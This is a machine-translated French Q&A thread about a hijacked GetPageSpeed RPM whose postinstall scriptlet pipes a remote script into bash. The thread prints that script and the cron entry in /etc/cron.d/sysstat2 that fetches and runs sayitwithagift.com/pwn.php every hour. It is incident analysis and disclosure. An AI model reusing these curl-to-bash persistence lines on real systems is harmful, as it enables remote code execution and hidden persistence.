Comment l'installation de ce RPM a-t-elle créé un fichier?

16

L'exécution yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmcrée /etc/cron.d/sysstat2mais RPM désavoue le fichier:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

Comment le RPM a-t-il créé le fichier et comment puis-je voir ce qu'il a fait d'autre?

Pascal
la source
4
Alors, ces gens de GetPageSpeed ​​appartiennent-ils et ils ne le savent pas, ou publient-ils eux-mêmes de mauvais RPM?
Aaron Copley
1
Le RPM que j'ai installé depuis leur site il y a trois mois était bon. Le malveillant a été publié hier. Je pense qu'ils étaient la propriété, et quiconque utilise leur mise en pension devient propriétaire. Le malveillant descend via une mise à jour miam. Je leur ai envoyé un e-mail et un message via leur formulaire Contactez-nous.
Pascal
Et c'est signé par eux aussi?
Aaron Copley
1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpmest le fichier d'origine, il a toujours une ancienne date dans leur dépôt et y gpgcheck=1est défini.
Pascal
1
Je vous suggère également de contacter l'administrateur Web à sayitwithagift.com bien que YMMV pour savoir quel type de réponse vous obtenez. J'ai fini par passer par le fournisseur d'hébergement d'un site Web pour entrer en contact avec un serveur de messagerie mal configuré une fois, car le site Web lui-même n'a jamais répondu.
Darren

Réponses:

18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php contient:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2
Pascal
la source
16

Vous avez découvert que les scripts du rpm exécutent un script à partir d'Internet, et ce script redirige actuellement vers ce qui pourrait être un malware. Bien que je ne trouve pas beaucoup de charge utile qui fasse quoi que ce soit.

rpm ne peut pas suivre complètement ce qui s'est passé car il exécute un script arbitraire.

gpgcheck ne vous aidera pas, les deux getpagespeed-extras-7-6.el7.gps.noarch.rpmet getpagespeed-extras-release-7-1.el7.gps.noarch.rpmvous avez lié semblent avoir des signatures valides:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <[email protected]>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Se plaindre au propriétaire du référentiel que le package exécute du code arbitraire à partir d'Internet. Si tel est le cas, la sécurité de leur chaîne logistique logicielle doit être améliorée.

Il semble un peu paranoïaque de faire la première installation d'un logiciel sans accès à Internet, ou d'inspecter manuellement le script "post-installation". Mais malheureusement, cela semble presque nécessaire si les paquets font des trucs mal avisés comme celui-ci.

John Mahowald
la source
La charge utile est un travail cron qui télécharge et exécute « sayitwithagift.com/pwn.php » toutes les heures. Actuellement rien là-bas, mais cela pourrait changer à tout moment. La suppression du RPM ne supprime pas la charge utile.
Pascal
Leur RPM d'origine n'avait pas de scriptlet postinstall. Seule la version téléchargée hier (probablement par un pirate) le fait.
Pascal
1
On ne sait pas si l'ajout de l'exec de code Internet est une idée légitime, ou ajouté par l'équipe de logiciels malveillants. Ce dernier est encore pire, car cela implique que les processus de signature et de téléchargement ont été compromis.
John Mahowald
1

J'ai 5 serveurs CLoudLinux / cPanel qui avaient Nginx sur eux via Engintron, mais ils exécutent maintenant le serveur Web LiteSpeed ​​à la place. Je pense qu'Engintron a peut-être laissé derrière lui les dépôts de pages lors de sa désinstallation. cPanel exécute une vérification de mise à jour tous les soirs et vers minuit, tous mes serveurs m'ont envoyé un rapport par e-mail:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Une recherche sur le site de charge utile m'a conduit ici où je vois que le même jour, vous avez eu le même problème. Donc, pour ajouter mes informations à la vôtre. Le même /etc/cron.d/sysstat2fichier existait sur tous mes serveurs.

J'ai supprimé le fichier, supprimé les dépôts et utilisé le formulaire de contact sur GetPageSpeed ​​pour signaler le problème. Le propriétaire du Repo peut être AWOL car il y avait un article de blog disant qu'il fermait le repo en raison de problèmes de santé. Alors peut-être que l'attaquant a profité du fait que le dépôt n'attire pas l'attention ou a trouvé une porte ouverte à exploiter.

John C. Reid
la source
1
Le message concernant la fermeture du dépôt a été publié après qu'il a reçu mon e-mail concernant la compromission. Je lui ai demandé d'ouvrir à nouveau le dépôt et de poster les packages mis à jour pour les supprimer/etc/cron.d/sysstat2 . Il l'a fait.
Pascal